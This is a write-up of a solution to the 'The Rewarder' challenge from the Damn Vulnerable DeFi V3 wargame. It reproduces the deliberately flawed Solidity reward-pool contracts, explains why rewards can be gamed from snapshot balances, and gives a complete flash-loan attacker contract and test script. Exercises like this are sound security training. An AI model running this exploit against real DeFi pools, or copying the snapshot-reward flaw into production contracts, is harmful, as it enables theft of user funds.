- Published on
Damn Vulnerable DeFi V3 - The Rewarder - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Damn Vulnerable DeFi V3 - The Rewarder - Solution
Contracts
AccountingToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "solady/src/auth/OwnableRoles.sol";
/**
* @title AccountingToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
* with snapshotting capabilities.
*/
contract AccountingToken is ERC20Snapshot, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;
uint256 public constant SNAPSHOT_ROLE = _ROLE_1;
uint256 public constant BURNER_ROLE = _ROLE_2;
error NotImplemented();
constructor() ERC20("rToken", "rTKN") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE);
}
function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}
function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) {
_burn(from, amount);
}
function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) {
return _snapshot();
}
function _transfer(address, address, uint256) internal pure override {
revert NotImplemented();
}
function _approve(address, address, uint256) internal pure override {
revert NotImplemented();
}
}
FlashLoanerPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";
/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flashloans of DVT
*/
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable liquidityToken;
error NotEnoughTokenBalance();
error CallerIsNotContract();
error FlashLoanNotPaidBack();
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}
if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));
if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}
}
RewardToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "solady/src/auth/OwnableRoles.sol";
/**
* @title RewardToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract RewardToken is ERC20, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;
constructor() ERC20("Reward Token", "RWT") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE);
}
function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}
}
TheRewarderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/FixedPointMathLib.sol";
import "solady/src/utils/SafeTransferLib.sol";
import { RewardToken } from "./RewardToken.sol";
import { AccountingToken } from "./AccountingToken.sol";
/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
using FixedPointMathLib for uint256;
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public constant REWARDS = 100 ether;
// Token deposited into the pool by users
address public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public immutable accountingToken;
// Token in which rewards are issued
RewardToken public immutable rewardToken;
uint128 public lastSnapshotIdForRewards;
uint64 public lastRecordedSnapshotTimestamp;
uint64 public roundNumber; // Track number of rounds
mapping(address => uint64) public lastRewardTimestamps;
error InvalidDepositAmount();
constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token;
accountingToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
/**
* @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
* Also distributes rewards if available.
* @param amount amount of tokens to be deposited
*/
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}
accountingToken.mint(msg.sender, amount);
distributeRewards();
SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}
function withdraw(uint256 amount) external {
accountingToken.burn(msg.sender, amount);
SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
}
function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
lastRecordedSnapshotTimestamp = uint64(block.timestamp);
unchecked {
++roundNumber;
}
}
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
&& lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
Solution
Before we look at the solution, let's first understand the four smart contracts involved in this challenge. Not surprisingly, RewardToken
is the ERC20 representing the rewards that are distributed by the pool. The contract is ownable and has a minter role, which is granted to the owner, i.e., the deployer, upon deployment. AccountingToken
tracks users' deposits in the pool. It records balances and supply at different points in time via ERC20 snapshots. FlashLoanerPool
offers flash loans in DVT tokens. Lastly, TheRewarderPool
records snapshots, distributes rewards, and handles deposits and withdrawals.
Now, to manipulate TheRewarderPool
's rewards and solve the challenge, we can:
- Take a DVT flash loan.
- Stake those DVT tokens in
TheRewarderPool
. - Earn the corresponding rewards.
- Withdraw our DVT tokens from the pool.
- Pay back our flash loan.
Notice that this is only possible because TheRewarderPool
doesn't take into account the time period the user staked, but only the staked amount at a certain point in time.
So, to complete the challenge, we can first create the following attacker
TheRewarderAttacker.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IFlashloanPool {
function flashLoan(uint256 amount) external;
}
interface IRewardPool {
function deposit(uint256 amount) external;
function distributeRewards() external returns (uint256 rewards);
function withdraw(uint256 amount) external;
}
contract TheRewarderAttacker {
IFlashloanPool immutable flashLoanPool;
IRewardPool immutable rewardPool;
IERC20 immutable liquidityToken;
IERC20 immutable rewardToken;
address immutable player;
constructor(
address _flashloanPool, address _rewardPool, address _liquidityToken, address _rewardToken
){
flashLoanPool = IFlashloanPool(_flashloanPool);
rewardPool = IRewardPool(_rewardPool);
liquidityToken = IERC20(_liquidityToken);
rewardToken = IERC20(_rewardToken);
player = msg.sender;
}
function attack() external {
flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool)));
}
function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.distributeRewards();
rewardPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanPool), amount);
rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
}
}
and subsequently add the following commands to the challenge file to complete the level:
the-rewarder.challenge.js
...
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
let attacker = await (await ethers.getContractFactory("TheRewarderAttacker", player)).deploy(
flashLoanPool.address, rewarderPool.address, liquidityToken.address, rewardToken.address
)
await attacker.attack();
});
...